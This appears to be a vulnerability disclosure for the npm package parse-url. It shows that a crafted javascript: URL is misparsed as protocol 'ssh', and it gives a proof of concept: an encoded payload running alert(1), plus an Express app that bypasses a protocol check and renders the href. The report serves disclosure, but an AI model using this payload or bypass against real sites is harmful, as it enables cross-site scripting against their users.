Description

I find that parse-url parses the following URL incorrectly and identifies protocol as ssh:

javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a

~/parseurl_fuzz$ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a"))' 
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'user',
  user: 'git',
  password: '',
  pathname: '/passser',
  hash: '',
  search: '',
  href: 'javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a',
  query: {}
}

But browsers and url library parse it correctly:

~/parseurl_fuzz$ node -e 'const Url = require("url"); console.log(Url.parse("javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a"))' 
Url {
  protocol: 'javascript:',
  slashes: null,
  auth: null,
  host: null,
  port: null,
  hostname: null,
  hash: '#http://user:passser:pass@domain.com:-4294967297/?a',
  search: '?ab=--2509999973799371216494',
  query: 'ab=--2509999973799371216494',
  pathname: '//n.com:-4294967297/',
  path: '//n.com:-4294967297/?ab=--2509999973799371216494',
  href: 'javascript://n.com:-4294967297/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a'
}

The following PoC will execute alert(1):

javascript://n.com%0aalert(1)%0avar%20a=1':'-4294967297/*/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a*/

Proof of Concept

// PoC.js
const parseUrl = require("parse-url"); 
const express = require('express');
const app = express();

var url = "javascript://n.com%0aalert(1)%0avar%20a=1':'-4294967297/*/?ab=--2509999973799371216494#http://user:passser:pass@domain.com:-4294967297/?a*/" ;
parsed = parseUrl(url);
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999,"0.0.0.0");

Impact

Through this vulnerability, an attacker is capable to execute malicious JS codes.